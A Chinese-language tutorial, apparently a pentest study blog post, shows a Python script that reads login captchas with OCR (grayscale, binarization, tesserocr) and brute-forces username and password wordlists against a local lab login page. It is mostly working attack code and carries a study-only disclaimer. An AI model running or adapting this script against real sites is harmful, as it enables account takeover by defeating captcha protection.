python-暴力破解(突破验证码)

实验环境:本地靶场

 

python-暴力破解(突破验证码)_第1张图片

验证码错误时,服务器端会重新生成验证码,不能使用burpsuite进行暴力破解;

我们使用python脚本对验证码进行识别,然后进行暴力破解。

验证码图片识别:

from PIL import Image
import tesserocr



s = requests.session()

headers  = {'User-Agent':'Mozilla/5.0'}

def getCode():        # 获取验证码
    res = s.get('http://127.0.0.1/publish/showvcode.php?').content # 打开图片url返回图片二进制数据
    with open('verify.jpg','wb') as v:
        v.write(res)                        # 将二进制数据写入图片
    # 重新打开生成的文件
    image = Image.open('verify.jpg')
    # 转灰色
    image = image.convert('L')
    # 二值化
    threshold = 1
    table = []
    for i in range(256):
        if i < threshold:
            table.append(0)
        else:
            table.append(1)
    image = image.point(table,'1')
    # 显示图片
    image.show()
    # 识别图片文字
    code = tesserocr.image_to_text(image)
    print(code.strip('\n'))
getCode()

原图一般为彩色,对识别有一定的影响,所以要先对图片进行一些特殊处理:转灰色、二值化等;

处理过的验证码图片:

python-暴力破解(突破验证码)_第2张图片

识别结果:

在识别验证码可能会存在一些不准确的概率,不过影响不大;

之后就是将识别后的验证码,与读取的用户名,密码内容,传送给服务器,循环暴力破解。

完整脚本:

from PIL import Image
import tesserocr
import requests
import re

#
#
s = requests.session()
url = 'http://127.0.0.1/check_login_code.php'  # 登录页面url
headers  = {'User-Agent':'Mozilla/5.0'}
#

def getCode():                  # 获取验证码
    res = s.get('http://127.0.0.1/publish/showvcode.php?').content # 打开图片url返回图片二进制数据
    with open('verify.jpg','wb') as v:
        v.write(res)        # 将二进制数据写入图片
    # 重新打开生成的文件
    image = Image.open('verify.jpg')
    # 转灰色
    image = image.convert('L')
    # 二值化
    threshold = 1
    table = []
    for i in range(256):
        if i < threshold:
            table.append(0)
        else:
            table.append(1)
    image = image.point(table,'1')
    # 显示图片
    #image.show()
    # 识别图片文字
    code = tesserocr.image_to_text(image)
    # print(code.strip('\n'))
    return code.strip('\n')
#getCode()

def getResult(headers,data):            # 发送请求
    r = s.post(url,headers=headers,data=data)

    if re.search('success',r.text)!=None:
        print('找到正确密码:',data)
        return 1
    else:
        if re.search('验证码',r.text) != None:
            return 2

def putPass(user,pwd):          # 传递参数,发送请求
    code = getCode()  # 获取验证码
    data = {"user":user,"pwd":pwd,"code":code}
    #print(data)
    result = getResult(headers,data)
    if result ==1:
        return 1
    elif result ==2:
        putPass(user,pwd)
    else:
        return 3

def getUserPass():      # 获取字典中的用户名密码
    # 打开账号文件
    userfile = open('user.txt',mode='r')
    for user in userfile:
        user = user.strip('\n')     # 去掉换行符
        # 打开密码文件
        passfile = open('pass.txt',mode='r')
        # 循环破解密码

        for pwd in passfile:
            pwd = pwd.strip('\n')

            flag = putPass(user,pwd)

        passfile.close()
    userfile.close()

getUserPass()

运行结果:

python-暴力破解(突破验证码)_第3张图片

声明:本篇文章仅作学习交流,请勿用于违法行为!

你可能感兴趣的:(python,渗透测试学习笔记)